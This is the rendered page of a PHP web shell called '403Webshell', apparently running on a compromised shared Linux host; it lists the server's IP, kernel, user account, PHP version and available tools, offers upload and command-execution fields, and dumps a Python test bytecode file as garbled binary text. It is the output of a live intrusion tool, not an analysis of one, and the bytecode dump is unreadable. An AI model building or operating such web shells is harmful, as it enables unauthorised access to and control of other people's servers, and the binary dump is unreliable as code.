403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_devpoll.cpython-36.opt-1.pyc
3

�w2_
�@sxddlZddlZddlZddlZddlmZmZeed�sDejd��dd�Z	Gdd�dej
�Zd	d
�Ze
dkrte�dS)�N)�run_unittest�cpython_only�devpollz$test works only on Solaris OS familycCs,g}x"|D]\}}||@r
|j|�q
W|S)N)�append)�ready�flag�match�fd�mode�r�6/opt/alt/python36/lib64/python3.6/test/test_devpoll.py�find_ready_matchings
r
c@s@eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zedd��Z	d
S)�DevPollTestscCs�tj�}d}d}t|�}g}g}i}i}xft|�D]Z}	tj�\}
}|j|
�|j|
tj�|j|tj	�|j
|
�|j
|�|||
<|
||<q2Wg}x�|�rv|j�}
t|
tj	�}|s�|j
d�tj|�}tj||�|j�}
t|
tj�}|s�|j
d�|j||g|�|d}
tj|
|�}|jt|�|�|j
|�tj||
�tj|
�|j||
�|j|
�|j||
�q�W|j||g|�dS)N�s This is a test.zno pipes ready for writingzno pipes ready for readingr)�selectr�len�range�os�pipe�register�modify�POLLINZPOLLOUTr�pollr
Zfail�randomZchoice�write�assertEqual�read�close�
unregister�remove)�self�pZ	NUM_PIPESZMSGZMSG_LENZreadersZwritersZr2wZw2r�iZrd�wrZbufsrZ
ready_writersZ
ready_readersZbufrrr�
test_devpoll1sP








zDevPollTests.test_devpoll1cCs�tj�}tj�\}}|j|�|jd�|jt|jd	�|jt|jd�|jt|jd
�|jd�|jd�|jd�|jt|jd�|jt|jd�|jt|jd�dS)N����@r��?������r+i�r+l����i@lll)rrrrrr�assertRaises�
OverflowError)r �pollster�w�rrrr�test_timeout_overflowJs




z"DevPollTests.test_timeout_overflowcCs�ttd�}|j|j�|j�}tj�}|j|j�t�|j	|j
�|j�|j|j
�|jt
|j�|j�|jt
|j|tj�|jt
|j�|jt
|j||tj�|jt
|j|�dS)N�rb)�open�__file__�
addCleanupr�filenorrZassertIsInstance�intZassertFalse�closedZ
assertTruer-�
ValueErrorrrrrr)r Z	open_filer	rrrr�
test_close[s
zDevPollTests.test_closecCs.tj�}|j|j�|jtj|j��d�dS)NF)rrr6rrr�get_inheritabler7)r rrrr�test_fd_non_inheritablessz$DevPollTests.test_fd_non_inheritablecCsjtj�}tj�\}}|j|�|jt|jdd�|jt|jdd�|jt|jdd�|jt|jdd�dS)Nrr%r(r+lr+l)rrrrrr-r.r)r r/r0r1rrr�test_events_mask_overflowxs
z&DevPollTests.test_events_mask_overflowcCsZddlm}tj�}tj�\}}|j|�|jt|jd|d�|jt|j	d|d�dS)Nr)�	USHRT_MAXr%)
Z	_testcapir?rrrrrr-r.r)r r?r/r0r1rrr�"test_events_mask_overflow_c_limits�s
z/DevPollTests.test_events_mask_overflow_c_limitsN)
�__name__�
__module__�__qualname__r$r2r;r=r>rr@rrrrrs2
rcCstt�dS)N)rrrrrr�	test_main�srD�__main__)rrrZunittestZtest.supportrr�hasattrZSkipTestr
ZTestCaserrDrArrrr�<module>s

w

Youez - 2016 - github.com/yon3zu
LinuXploit